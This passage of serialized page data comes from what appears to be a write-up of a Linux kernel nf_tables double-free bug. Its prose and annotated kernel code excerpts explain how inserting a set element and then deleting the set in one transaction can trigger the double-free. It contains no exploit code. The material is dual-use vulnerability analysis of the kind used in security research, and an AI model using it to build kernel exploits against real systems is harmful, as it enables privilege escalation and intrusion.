nft_pipapo_commit",{"type":24,"tag":327,"props":58901,"children":58902},{"style":346},[58903],{"type":29,"value":349},{"type":24,"tag":327,"props":58905,"children":58906},{"style":334},[58907],{"type":29,"value":2195},{"type":24,"tag":327,"props":58909,"children":58910},{"style":346},[58911],{"type":29,"value":57820},{"type":24,"tag":327,"props":58913,"children":58914},{"style":381},[58915],{"type":29,"value":469},{"type":24,"tag":327,"props":58917,"children":58918},{"style":356},[58919],{"type":29,"value":57740},{"type":24,"tag":327,"props":58921,"children":58922},{"style":346},[58923],{"type":29,"value":852},{"type":24,"tag":327,"props":58925,"children":58926},{"class":329,"line":367},[58927],{"type":24,"tag":327,"props":58928,"children":58929},{"style":346},[58930],{"type":29,"value":18427},{"type":24,"tag":327,"props":58932,"children":58933},{"class":329,"line":408},[58934],{"type":24,"tag":327,"props":58935,"children":58936},{"style":346},[58937],{"type":29,"value":17865},{"type":24,"tag":327,"props":58939,"children":58940},{"class":329,"line":421},[58941,58945,58949,58953,58957,58961,58965],{"type":24,"tag":327,"props":58942,"children":58943},{"style":425},[58944],{"type":29,"value":23305},{"type":24,"tag":327,"props":58946,"children":58947},{"style":346},[58948],{"type":29,"value":5894},{"type":24,"tag":327,"props":58950,"children":58951},{"style":381},[58952],{"type":29,"value":1986},{"type":24,"tag":327,"props":58954,"children":58955},{"style":356},[58956],{"type":29,"value":58296},{"type":24,"tag":327,"props":58958,"children":58959},{"style":346},[58960],{"type":29,"value":1679},{"type":24,"tag":327,"props":58962,"children":58963},{"style":356},[58964],{"type":29,"value":58845},{"type":24,"tag":327,"props":58966,"children":58967},{"style":346},[58968],{"type":29,"value":852},{"type":24,"tag":327,"props":58970,"children":58971},{"class":329,"line":450},[58972,58976],{"type":24,"tag":327,"props":58973,"children":58974},{"style":425},[58975],{"type":29,"value":45912},{"type":24,"tag":327,"props":58977,"children":58978},{"style":346},[58979],{"type":29,"value":405},{"type":24,"tag":327,"props":58981,"children":58982},{"class":329,"line":481},[58983],{"type":24,"tag":327,"props":58984,"children":58985},{"style":346},[58986],{"type":29,"value":17865},{"type":24,"tag":327,"props":58988,"children":58989},{"class":329,"line":500},[58990,58994,58998,59002,59006,59010],{"type":24,"tag":327,"props":58991,"children":58992},{"style":356},[58993],{"type":29,"value":58836},{"type":24,"tag":327,"props":58995,"children":58996},{"style":346},[58997],{"type":29,"value":1679},{"type":24,"tag":327,"props":58999,"children":59000},{"style":356},[59001],{"type":29,"value":58845},{"type":24,"tag":327,"props":59003,"children":59004},{"style":381},[59005],{"type":29,"value":4809},{"type":24,"tag":327,"props":59007,"children":59008},{"style":334},[59009],{"type":29,"value":6776},{"type":24,"tag":327,"props":59011,"children":59012},{"style":346},[59013],{"type":29,"value":405},{"type":24,"tag":327,"props":59015,"children":59016},{"class":329,"line":529},[59017],{"type":24,"tag":327,"props":59018,"children":59019},{"style":346},[59020],{"type":29,"value":17865},{"type":24,"tag":327,"props":59022,"children":59023},{"class":329,"line":538},[59024],{"type":24,"tag":327,"props":59025,"children":59026},{"style":346},[59027],{"type":29,"value":592},{"type":24,"tag":25,"props":59029,"children":59030},{},[59031,59033,59038,59040,59045,59047,59052,59054,59059,59061,59067,59069,59075,59077,59082],{"type":29,"value":59032},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":24,"tag":284,"props":59034,"children":59036},{"className":59035},[],[59037],{"type":29,"value":57732},{"type":29,"value":59039}," in the ",{"type":24,"tag":284,"props":59041,"children":59043},{"className":59042},[],[59044],{"type":29,"value":57740},{"type":29,"value":59046}," to make it dirty and then delete the ",{"type":24,"tag":284,"props":59048,"children":59050},{"className":59049},[],[59051],{"type":29,"value":57740},{"type":29,"value":59053},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":24,"tag":284,"props":59055,"children":59057},{"className":59056},[],[59058],{"type":29,"value":57740},{"type":29,"value":59060},"'s ",{"type":24,"tag":284,"props":59062,"children":59064},{"className":59063},[],[59065],{"type":29,"value":59066},"->commit()",{"type":29,"value":59068}," method is executed before its ",{"type":24,"tag":284,"props":59070,"children":59072},{"className":59071},[],[59073],{"type":29,"value":59074},"->destroy()",{"type":29,"value":59076}," method, then the ",{"type":24,"tag":284,"props":59078,"children":59080},{"className":59079},[],[59081],{"type":29,"value":58845},{"type":29,"value":59083}," flag will be unset, and we won't be able to trigger the double-free.",{"type":24,"tag":25,"props":59085,"children":59086},{},[59087],{"type":29,"value":59088},"Let's once again refer to the code and see how these methods are called.",{"type":24,"tag":317,"props":59090,"children":59092},{"className":321,"code":59091,"language":320,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[59093],{"type":24,"tag":284,"props":59094,"children":59095},{"__ignoreMap":7},[59096,59158,59165,59172,59180,59193,59228,59262,59304,59326,59338,59351,59358,59406,59447,59487,59500,59507,59514,59521,59528,59553,59560,59573,59580,59596],{"type":24,"tag":327,"props":59097,"children":59098},{"class":329,"line":330},[59099,59103,59107,59112,59116,59120,59124,59128,59132,59136,59140,59145,59149,59154],{"type":24,"tag":327,"props":59100,"children":59101},{"style":334},[59102],{"type":29,"value":57765},{"type":24,"tag":327,"props":59104,"children":59105},{"style":334},[59106],{"type":29,"value":57894},{"type":24,"tag":327,"props":59108,"children":59109},{"style":340},[59110],{"type":29,"value":59111}," nf_tables_commit",{"type":24,"tag":327,"props":59113,"children":59114},{"style":346},[59115],{"type":29,"value":349},{"type":24,"tag":327,"props":59117,"children":59118},{"style":334},[59119],{"type":29,"value":2195},{"type":24,"tag":327,"props":59121,"children":59122},{"style":346},[59123],{"type":29,"value":58723},{"type":24,"tag":327,"props":59125,"children":59126},{"style":381},[59127],{"type":29,"value":469},{"type":24,"tag":327,"props":59129,"children":59130},{"style":356},[59131],{"type":29,"value":58732},{"type":24,"tag":327,"props":59133,"children":59134},{"style":346},[59135],{"type":29,"value":2744},{"type":24,"tag":327,"props":59137,"children":59138},{"style":334},[59139],{"type":29,"value":2195},{"type":24,"tag":327,"props":59141,"children":59142},{"style":346},[59143],{"type":29,"value":59144}," sk_buff ",{"type":24,"tag":327,"props":59146,"children":59147},{"style":381},[59148],{"type":29,"value":469},{"type":24,"tag":327,"props":59150,"children":59151},{"style":356},[59152],{"type":29,"value":59153},"skb",{"type":24,"tag":327,"props":59155,"children":59156},{"style":346},[59157],{"type":29,"value":852},{"type":24,"tag":327,"props":59159,"children":59160},{"class":329,"line":367},[59161],{"type":24,"tag":327,"props":59162,"children":59163},{"style":346},[59164],{"type":29,"value":18427},{"type":24,"tag":327,"props":59166,"children":59167},{"class":329,"line":408},[59168],{"type":24,"tag":327,"props":59169,"children":59170},{"style":346},[59171],{"type":29,"value":17865},{"type":24,"tag":327,"props":59173,"children":59174},{"class":329,"line":421},[59175],{"type":24,"tag":327,"props":59176,"children":59177},{"style":346},[59178],{"type":29,"value":59179},"  case NFT_MSG_DELSET:\n",{"type":24,"tag":327,"props":59181,"children":59182},{"class":329,"line":450},[59183,59188],{"type":24,"tag":327,"props":59184,"children":59185},{"style":346},[59186],{"type":29,"value":59187},"  case NFT_MSG_DESTROYSET:",{"type":24,"tag":327,"props":59189,"children":59190},{"style":551},[59191],{"type":29,"value":59192}," // [1]\n",{"type":24,"tag":327,"props":59194,"children":59195},{"class":329,"line":481},[59196,59201,59206,59211,59215,59219,59223],{"type":24,"tag":327,"props":59197,"children":59198},{"style":340},[59199],{"type":29,"value":59200},"   nft_trans_set",{"type":24,"tag":327,"props":59202,"children":59203},{"style":346},[59204],{"type":29,"value":59205},"(trans)->",{"type":24,"tag":327,"props":59207,"children":59208},{"style":356},[59209],{"type":29,"value":59210},"dead",{"type":24,"tag":327,"props":59212,"children":59213},{"style":381},[59214],{"type":29,"value":4809},{"type":24,"tag":327,"props":59216,"children":59217},{"style":397},[59218],{"type":29,"value":522},{"type":24,"tag":327,"props":59220,"children":59221},{"style":346},[59222],{"type":29,"value":55794},{"type":24,"tag":327,"props":59224,"children":59225},{"style":551},[59226],{"type":29,"value":59227}," // [2]\n",{"type":24,"tag":327,"props":59229,"children":59230},{"class":329,"line":500},[59231,59236,59240,59244,59249,59253,59258],{"type":24,"tag":327,"props":59232,"children":59233},{"style":340},[59234],{"type":29,"value":59235},"   list_del_rcu",{"type":24,"tag":327,"props":59237,"children":59238},{"style":346},[59239],{"type":29,"value":349},{"type":24,"tag":327,"props":59241,"children":59242},{"style":381},[59243],{"type":29,"value":8716},{"type":24,"tag":327,"props":59245,"children":59246},{"style":340},[59247],{"type":29,"value":59248},"nft_trans_set",{"type":24,"tag":327,"props":59250,"children":59251},{"style":346},[59252],{"type":29,"value":59205},{"type":24,"tag":327,"props":59254,"children":59255},{"style":356},[59256],{"type":29,"value":59257},"list",{"type":24,"tag":327,"props":59259,"children":59260},{"style":346},[59261],{"type":29,"value":583},{"type":24,"tag":327,"props":59263,"children":59264},{"class":329,"line":529},[59265,59270,59274,59278,59283,59287,59291,59295,59299],{"type":24,"tag":327,"props":59266,"children":59267},{"style":340},[59268],{"type":29,"value":59269},"   nf_tables_set_notify",{"type":24,"tag":327,"props":59271,"children":59272},{"style":346},[59273],{"type":29,"value":349},{"type":24,"tag":327,"props":59275,"children":59276},{"style":381},[59277],{"type":29,"value":8716},{"type":24,"tag":327,"props":59279,"children":59280},{"style":356},[59281],{"type":29,"value":59282},"trans",{"type":24,"tag":327,"props":59284,"children":59285},{"style":346},[59286],{"type":29,"value":1679},{"type":24,"tag":327,"props":59288,"children":59289},{"style":356},[59290],{"type":29,"value":1631},{"type":24,"tag":327,"props":59292,"children":59293},{"style":346},[59294],{"type":29,"value":2744},{"type":24,"tag":327,"props":59296,"children":59297},{"style":340},[59298],{"type":29,"value":59248},{"type":24,"tag":327,"props":59300,"children":59301},{"style":346},[59302],{"type":29,"value":59303},"(trans),\n",{"type":24,"tag":327,"props":59305,"children":59306},{"class":329,"line":538},[59307,59312,59316,59321],{"type":24,"tag":327,"props":59308,"children":59309},{"style":356},[59310],{"type":29,"value":59311},"          trans",{"type":24,"tag":327,"props":59313,"children":59314},{"style":346},[59315],{"type":29,"value":1679},{"type":24,"tag":327,"props":59317,"children":59318},{"style":356},[59319],{"type":29,"value":59320},"msg_type",{"type":24,"tag":327,"props":59322,"children":59323},{"style":346},[59324],{"type":29,"value":59325},", GFP_KERNEL);\n",{"type":24,"tag":327,"props":59327,"children":59328},{"class":329,"line":547},[59329,59334],{"type":24,"tag":327,"props":59330,"children":59331},{"style":425},[59332],{"type":29,"value":59333},"   break",{"type":24,"tag":327,"props":59335,"children":59336},{"style":346},[59337],{"type":29,"value":405},{"type":24,"tag":327,"props":59339,"children":59340},{"class":329,"line":557},[59341,59346],{"type":24,"tag":327,"props":59342,"children":59343},{"style":346},[59344],{"type":29,"value":59345},"  case NFT_MSG_NEWSETELEM:",{"type":24,"tag":327,"props":59347,"children":59348},{"style":551},[59349],{"type":29,"value":59350}," // [3]\n",{"type":24,"tag":327,"props":59352,"children":59353},{"class":329,"line":586},[59354],{"type":24,"tag":327,"props":59355,"children":59356},{"style":346},[59357],{"type":29,"value":17865},{"type":24,"tag":327,"props":59359,"children":59360},{"class":329,"line":1017},[59361,59366,59370,59375,59379,59383,59387,59392,59396,59401],{"type":24,"tag":327,"props":59362,"children":59363},{"style":425},[59364],{"type":29,"value":59365},"   if",{"type":24,"tag":327,"props":59367,"children":59368},{"style":346},[59369],{"type":29,"value":5894},{"type":24,"tag":327,"props":59371,"children":59372},{"style":356},[59373],{"type":29,"value":59374},"te",{"type":24,"tag":327,"props":59376,"children":59377},{"style":346},[59378],{"type":29,"value":1679},{"type":24,"tag":327,"props":59380,"children":59381},{"style":356},[59382],{"type":29,"value":57740},{"type":24,"tag":327,"props":59384,"children":59385},{"style":346},[59386],{"type":29,"value":1679},{"type":24,"tag":327,"props":59388,"children":59389},{"style":356},[59390],{"type":29,"value":59391},"ops",{"type":24,"tag":327,"props":59393,"children":59394},{"style":346},[59395],{"type":29,"value":1679},{"type":24,"tag":327,"props":59397,"children":59398},{"style":356},[59399],{"type":29,"value":59400},"commit",{"type":24,"tag":327,"props":59402,"children":59403},{"style":381},[59404],{"type":29,"value":59405}," &&\n",{"type":24,"tag":327,"props":59407,"children":59408},{"class":329,"line":1026},[59409,59414,59418,59422,59426,59430,59434,59438,59443],{"type":24,"tag":327,"props":59410,"children":59411},{"style":340},[59412],{"type":29,"value":59413},"       list_empty",{"type":24,"tag":327,"props":59415,"children":59416},{"style":346},[59417],{"type":29,"value":349},{"type":24,"tag":327,"props":59419,"children":59420},{"style":381},[59421],{"type":29,"value":8716},{"type":24,"tag":327,"props":59423,"children":59424},{"style":356},[59425],{"type":29,"value":59374},{"type":24,"tag":327,"props":59427,"children":59428},{"style":346},[59429],{"type":29,"value":1679},{"type":24,"tag":327,"props":59431,"children":59432},{"style":356},[59433],{"type":29,"value":57740},{"type":24,"tag":327,"props":59435,"children":59436},{"style":346},[59437],{"type":29,"value":1679},{"type":24,"tag":327,"props":59439,"children":59440},{"style":356},[59441],{"type":29,"value":59442},"pending_update",{"type":24,"tag":327,"props":59444,"children":59445},{"style":346},[59446],{"type":29,"value":41906},{"type":24,"tag":327,"props":59448,"children":59449},{"class":329,"line":1048},[59450,59455,59459,59463,59467,59471,59475,59479,59483],{"type":24,"tag":327,"props":59451,"children":59452},{"style":340},[59453],{"type":29,"value":59454},"    list_add_tail",{"type":24,"tag":327,"props":59456,"children":59457},{"style":346},[59458],{"type":29,"value":349},{"type":24,"tag":327,"props":59460,"children":59461},{"style":381},[59462],{"type":29,"value":8716},{"type":24,"tag":327,"props":59464,"children":59465},{"style":356},[59466],{"type":29,"value":59374},{"type":24,"tag":327,"props":59468,"children":59469},{"style":346},[59470],{"type":29,"value":1679},{"type":24,"tag":327,"props":59472,"children":59473},{"style":356},[59474],{"type":29,"value":57740},{"type":24,"tag":327,"props":59476,"children":59477},{"style":346},[59478],{"type":29,"value":1679},{"type":24,"tag":327,"props":59480,"children":59481},{"style":356},[59482],{"type":29,"value":59442},{"type":24,"tag":327,"props":59484,"children":59485},{"style":346},[59486],{"type":29,"value":2231},{"type":24,"tag":327,"props":59488,"children":59489},{"class":329,"line":1067},[59490,59495],{"type":24,"tag":327,"props":59491,"children":59492},{"style":381},[59493],{"type":29,"value":59494},"           &",{"type":24,"tag":327,"props":59496,"children":59497},{"style":346},[59498],{"type":29,"value":59499},"set_update_list);\n",{"type":24,"tag":327,"props":59501,"children":59502},{"class":329,"line":1075},[59503],{"type":24,"tag":327,"props":59504,"children":59505},{"style":346},[59506],{"type":29,"value":41460},{"type":24,"tag":327,"props":59508,"children":59509},{"class":329,"line":1084},[59510],{"type":24,"tag":327,"props":59511,"children":59512},{"style":346},[59513],{"type":29,"value":17865},{"type":24,"tag":327,"props":59515,"children":59516},{"class":329,"line":1100},[59517],{"type":24,"tag":327,"props":59518,"children":59519},{"style":346},[59520],{"type":29,"value":1949},{"type":24,"tag":327,"props":59522,"children":59523},{"class":329,"line":1128},[59524],{"type":24,"tag":327,"props":59525,"children":59526},{"emptyLinePlaceholder":16},[59527],{"type":29,"value":544},{"type":24,"tag":327,"props":59529,"children":59530},{"class":329,"line":1148},[59531,59536,59540,59544,59549],{"type":24,"tag":327,"props":59532,"children":59533},{"style":340},[59534],{"type":29,"value":59535}," nft_set_commit_update",{"type":24,"tag":327,"props":59537,"children":59538},{"style":346},[59539],{"type":29,"value":349},{"type":24,"tag":327,"props":59541,"children":59542},{"style":381},[59543],{"type":29,"value":8716},{"type":24,"tag":327,"props":59545,"children":59546},{"style":356},[59547],{"type":29,"value":59548},"set_update_list",{"type":24,"tag":327,"props":59550,"children":59551},{"style":346},[59552],{"type":29,"value":583},{"type":24,"tag":327,"props":59554,"children":59555},{"class":329,"line":1176},[59556],{"type":24,"tag":327,"props":59557,"children":59558},{"style":346},[59559],{"type":29,"value":17865},{"type":24,"tag":327,"props":59561,"children":59562},{"class":329,"line":1184},[59563,59568],{"type":24,"tag":327,"props":59564,"children":59565},{"style":340},[59566],{"type":29,"value":59567}," nf_tables_commit_release",{"type":24,"tag":327,"props":59569,"children":59570},{"style":346},[59571],{"type":29,"value":59572},"(net);\n",{"type":24,"tag":327,"props":59574,"children":59575},{"class":329,"line":1192},[59576],{"type":24,"tag":327,"props":59577,"children":59578},{"emptyLinePlaceholder":16},[59579],{"type":29,"value":544},{"type":24,"tag":327,"props":59581,"children":59582},{"class":329,"line":1212},[59583,59588,59592],{"type":24,"tag":327,"props":59584,"children":59585},{"style":425},[59586],{"type":29,"value":59587}," return",{"type":24,"tag":327,"props":59589,"children":59590},{"style":397},[59591],{"type":29,"value":6695},{"type":24,"tag":327,"props":59593,"children":59594},{"style":346},[59595],{"type":29,"value":405},{"type":24,"tag":327,"props":59597,"children":59598},{"class":329,"line":4841},[59599],{"type":24,"tag":327,"props":59600,"children":59601},{"style":346},[59602],{"type":29,"value":592},{"type":24,"tag":25,"props":59604,"children":59605},{},[59606,59607,59613,59615,59620],{"type":29,"value":1713},{"type":24,"tag":284,"props":59608,"children":59610},{"className":59609},[],[59611],{"type":29,"value":59612},"nft_set_commit_update()",{"type":29,"value":59614}," function in the code above will call the ",{"type":24,"tag":284,"props":59616,"children":59618},{"className":59617},[],[59619],{"type":29,"value":59066},{"type":29,"value":59621}," method for any objects that were marked as pending an update.",{"type":24,"tag":317,"props":59623,"children":59625},{"className":321,"code":59624,"language":320,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[59626],{"type":24,"tag":284,"props":59627,"children":59628},{"__ignoreMap":7},[59629,59669,59676,59705,59712,59725,59757,59764,59825,59836,59843,59877,59884],{"type":24,"tag":327,"props":59630,"children":59631},{"class":329,"line":330},[59632,59636,59640,59644,59648,59652,59657,59661,59665],{"type":24,"tag":327,"props":59633,"children":59634},{"style":334},[59635],{"type":29,"value":57765},{"type":24,"tag":327,"props":59637,"children":59638},{"style":334},[59639],{"type":29,"value":57770},{"type":24,"tag":327,"props":59641,"children":59642},{"style":340},[59643],{"type":29,"value":59535},{"type":24,"tag":327,"props":59645,"children":59646},{"style":346},[59647],{"type":29,"value":349},{"type":24,"tag":327,"props":59649,"children":59650},{"style":334},[59651],{"type":29,"value":2195},{"type":24,"tag":327,"props":59653,"children":59654},{"style":346},[59655],{"type":29,"value":59656}," list_head ",{"type":24,"tag":327,"props":59658,"children":59659},{"style":381},[59660],{"type":29,"value":469},{"type":24,"tag":327,"props":59662,"children":59663},{"style":356},[59664],{"type":29,"value":59548},{"type":24,"tag":327,"props":59666,"children":59667},{"style":346},[59668],{"type":29,"value":852},{"type":24,"tag":327,"props":59670,"children":59671},{"class":329,"line":367},[59672],{"type":24,"tag":327,"props":59673,"children":59674},{"style":346},[59675],{"type":29,"value":18427},{"type":24,"tag":327,"props":59677,"children":59678},{"class":329,"line":408},[59679,59683,59687,59691,59696,59700],{"type":24,"tag":327,"props":59680,"children":59681},{"style":334},[59682],{"type":29,"value":2529},{"type":24,"tag":327,"props":59684,"children":59685},{"style":346},[59686],{"type":29,"value":57820},{"type":24,"tag":327,"props":59688,"children":59689},{"style":381},[59690],{"type":29,"value":469},{"type":24,"tag":327,"props":59692,"children":59693},{"style":346},[59694],{"type":29,"value":59695},"set, ",{"type":24,"tag":327,"props":59697,"children":59698},{"style":381},[59699],{"type":29,"value":469},{"type":24,"tag":327,"props":59701,"children":59702},{"style":346},[59703],{"type":29,"value":59704},"next;\n",{"type":24,"tag":327,"props":59706,"children":59707},{"class":329,"line":421},[59708],{"type":24,"tag":327,"props":59709,"children":59710},{"emptyLinePlaceholder":16},[59711],{"type":29,"value":544},{"type":24,"tag":327,"props":59713,"children":59714},{"class":329,"line":450},[59715,59720],{"type":24,"tag":327,"props":59716,"children":59717},{"style":340},[59718],{"type":29,"value":59719}," list_for_each_entry_safe",{"type":24,"tag":327,"props":59721,"children":59722},{"style":346},[59723],{"type":29,"value":59724},"(set, next, set_update_list, pending_update) {\n",{"type":24,"tag":327,"props":59726,"children":59727},{"class":329,"line":481},[59728,59733,59737,59741,59745,59749,59753],{"type":24,"tag":327,"props":59729,"children":59730},{"style":340},[59731],{"type":29,"value":59732},"  list_del_init",{"type":24,"tag":327,"props":59734,"children":59735},{"style":346},[59736],{"type":29,"value":349},{"type":24,"tag":327,"props":59738,"children":59739},{"style":381},[59740],{"type":29,"value":8716},{"type":24,"tag":327,"props":59742,"children":59743},{"style":356},[59744],{"type":29,"value":57740},{"type":24,"tag":327,"props":59746,"children":59747},{"style":346},[59748],{"type":29,"value":1679},{"type":24,"tag":327,"props":59750,"children":59751},{"style":356},[59752],{"type":29,"value":59442},{"type":24,"tag":327,"props":59754,"children":59755},{"style":346},[59756],{"type":29,"value":583},{"type":24,"tag":327,"props":59758,"children":59759},{"class":329,"line":500},[59760],{"type":24,"tag":327,"props":59761,"children":59762},{"emptyLinePlaceholder":16},[59763],{"type":29,"value":544},{"type":24,"tag":327,"props":59765,"children":59766},{"class":329,"line":529},[59767,59771,59775,59779,59783,59787,59791,59795,59799,59803,59808,59812,59816,59820],{"type":24,"tag":327,"props":59768,"children":59769},{"style":425},[59770],{"type":29,"value":38104},{"type":24,"tag":327,"props":59772,"children":59773},{"style":346},[59774],{"type":29,"value":5894},{"type":24,"tag":327,"props":59776,"children":59777},{"style":381},[59778],{"type":29,"value":1986},{"type":24,"tag":327,"props":59780,"children":59781},{"style":356},[59782],{"type":29,"value":57740},{"type":24,"tag":327,"props":59784,"children":59785},{"style":346},[59786],{"type":29,"value":1679},{"type":24,"tag":327,"props":59788,"children":59789},{"style":356},[59790],{"type":29,"value":59391},{"type":24,"tag":327,"props":59792,"children":59793},{"style":346},[59794],{"type":29,"value":1679},{"type":24,"tag":327,"props":59796,"children":59797},{"style":356},[59798],{"type":29,"value":59400},{"type":24,"tag":327,"props":59800,"children":59801},{"style":381},[59802],{"type":29,"value":5139},{"type":24,"tag":327,"props":59804,"children":59805},{"style":356},[59806],{"type":29,"value":59807}," set",{"type":24,"tag":327,"props":59809,"children":59810},{"style":346},[59811],{"type":29,"value":1679},{"type":24,"tag":327,"props":59813,"children":59814},{"style":356},[59815],{"type":29,"value":59210},{"type":24,"tag":327,"props":59817,"children":59818},{"style":346},[59819],{"type":29,"value":3146},{"type":24,"tag":327,"props":59821,"children":59822},{"style":551},[59823],{"type":29,"value":59824}," // [4]\n",{"type":24,"tag":327,"props":59826,"children":59827},{"class":329,"line":538},[59828,59832],{"type":24,"tag":327,"props":59829,"children":59830},{"style":425},[59831],{"type":29,"value":58212},{"type":24,"tag":327,"props":59833,"children":59834},{"style":346},[59835],{"type":29,"value":405},{"type":24,"tag":327,"props":59837,"children":59838},{"class":329,"line":547},[59839],{"type":24,"tag":327,"props":59840,"children":59841},{"emptyLinePlaceholder":16},[59842],{"type":29,"value":544},{"type":24,"tag":327,"props":59844,"children":59845},{"class":329,"line":557},[59846,59851,59855,59859,59863,59867,59872],{"type":24,"tag":327,"props":59847,"children":59848},{"style":356},[59849],{"type":29,"value":59850},"  set",{"type":24,"tag":327,"props":59852,"children":59853},{"style":346},[59854],{"type":29,"value":1679},{"type":24,"tag":327,"props":59856,"children":59857},{"style":356},[59858],{"type":29,"value":59391},{"type":24,"tag":327,"props":59860,"children":59861},{"style":346},[59862],{"type":29,"value":1679},{"type":24,"tag":327,"props":59864,"children":59865},{"style":340},[59866],{"type":29,"value":59400},{"type":24,"tag":327,"props":59868,"children":59869},{"style":346},[59870],{"type":29,"value":59871},"(set);",{"type":24,"tag":327,"props":59873,"children":59874},{"style":551},[59875],{"type":29,"value":59876}," // [5]\n",{"type":24,"tag":327,"props":59878,"children":59879},{"class":329,"line":586},[59880],{"type":24,"tag":327,"props":59881,"children":59882},{"style":346},[59883],{"type":29,"value":1949},{"type":24,"tag":327,"props":59885,"children":59886},{"class":329,"line":1017},[59887],{"type":24,"tag":327,"props":59888,"children":59889},{"style":346},[59890],{"type":29,"value":592},{"type":24,"tag":25,"props":59892,"children":59893},{},[59894,59896,59902,59904,59909,59910,59915],{"type":29,"value":59895},"Later on, the ",{"type":24,"tag":284,"props":59897,"children":59899},{"className":59898},[],[59900],{"type":29,"value":59901},"nf_tables_commit_release()",{"type":29,"value":59903}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":24,"tag":284,"props":59905,"children":59907},{"className":59906},[],[59908],{"type":29,"value":57740},{"type":29,"value":59060},{"type":24,"tag":284,"props":59911,"children":59913},{"className":59912},[],[59914],{"type":29,"value":59074},{"type":29,"value":59916}," method.",{"type":24,"tag":317,"props":59918,"children":59920},{"className":321,"code":59919,"language":320,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[59921],{"type":24,"tag":284,"props":59922,"children":59923},{"__ignoreMap":7},[59924,59963,59970,59977,59998,60005,60012,60019,60060,60067,60074,60095,60108,60120,60127,60134,60141,60182,60189,60217,60224,60237,60249,60290,60297,60304,60311,60369,60376,60383,60412,60419],{"type":24,"tag":327,"props":59925,"children":59926},{"class":329,"line":330},[59927,59931,59935,59939,59943,59947,59951,59955,59959],{"type":24,"tag":327,"props":59928,"children":59929},{"style":334},[59930],{"type":29,"value":57765},{"type":24,"tag":327,"props":59932,"children":59933},{"style":334},[59934],{"type":29,"value":57770},{"type":24,"tag":327,"props":59936,"children":59937},{"style":340},[59938],{"type":29,"value":59567},{"type":24,"tag":327,"props":59940,"children":59941},{"style":346},[59942],{"type":29,"value":349},{"type":24,"tag":327,"props":59944,"children":59945},{"style":334},[59946],{"type":29,"value":2195},{"type":24,"tag":327,"props":59948,"children":59949},{"style":346},[59950],{"type":29,"value":58723},{"type":24,"tag":327,"props":59952,"children":59953},{"style":381},[59954],{"type":29,"value":469},{"type":24,"tag":327,"props":59956,"children":59957},{"style":356},[59958],{"type":29,"value":58732},{"type":24,"tag":327,"props":59960,"children":59961},{"style":346},[59962],{"type":29,"value":852},{"type":24,"tag":327,"props":59964,"children":59965},{"class":329,"line":367},[59966],{"type":24,"tag":327,"props":59967,"children":59968},{"style":346},[59969],{"type":29,"value":18427},{"type":24,"tag":327,"props":59971,"children":59972},{"class":329,"line":408},[59973],{"type":24,"tag":327,"props":59974,"children":59975},{"style":346},[59976],{"type":29,"value":17865},{"type":24,"tag":327,"props":59978,"children":59979},{"class":329,"line":421},[59980,59985,59989,59993],{"type":24,"tag":327,"props":59981,"children":59982},{"style":340},[59983],{"type":29,"value":59984}," schedule_work",{"type":24,"tag":327,"props":59986,"children":59987},{"style":346},[59988],{"type":29,"value":349},{"type":24,"tag":327,"props":59990,"children":59991},{"style":381},[59992],{"type":29,"value":8716},{"type":24,"tag":327,"props":59994,"children":59995},{"style":346},[59996],{"type":29,"value":59997},"trans_destroy_work);\n",{"type":24,"tag":327,"props":59999,"children":60000},{"class":329,"line":450},[60001],{"type":24,"tag":327,"props":60002,"children":60003},{"style":346},[60004],{"type":29,"value":17865},{"type":24,"tag":327,"props":60006,"children":60007},{"class":329,"line":481},[60008],{"type":24,"tag":327,"props":60009,"children":60010},{"style":346},[60011],{"type":29,"value":592},{"type":24,"tag":327,"props":60013,"children":60014},{"class":329,"line":500},[60015],{"type":24,"tag":327,"props":60016,"children":60017},{"style":346},[60018],{"type":29,"value":17865},{"type":24,"tag":327,"props":60020,"children":60021},{"class":329,"line":529},[60022,60026,60030,60035,60039,60043,60048,60052,60056],{"type":24,"tag":327,"props":60023,"children":60024},{"style":334},[60025],{"type":29,"value":57765},{"type":24,"tag":327,"props":60027,"children":60028},{"style":334},[60029],{"type":29,"value":57770},{"type":24,"tag":327,"props":60031,"children":60032},{"style":340},[60033],{"type":29,"value":60034}," nf_tables_trans_destroy_work",{"type":24,"tag":327,"props":60036,"children":60037},{"style":346},[60038],{"type":29,"value":349},{"type":24,"tag":327,"props":60040,"children":60041},{"style":334},[60042],{"type":29,"value":2195},{"type":24,"tag":327,"props":60044,"children":60045},{"style":346},[60046],{"type":29,"value":60047}," work_struct 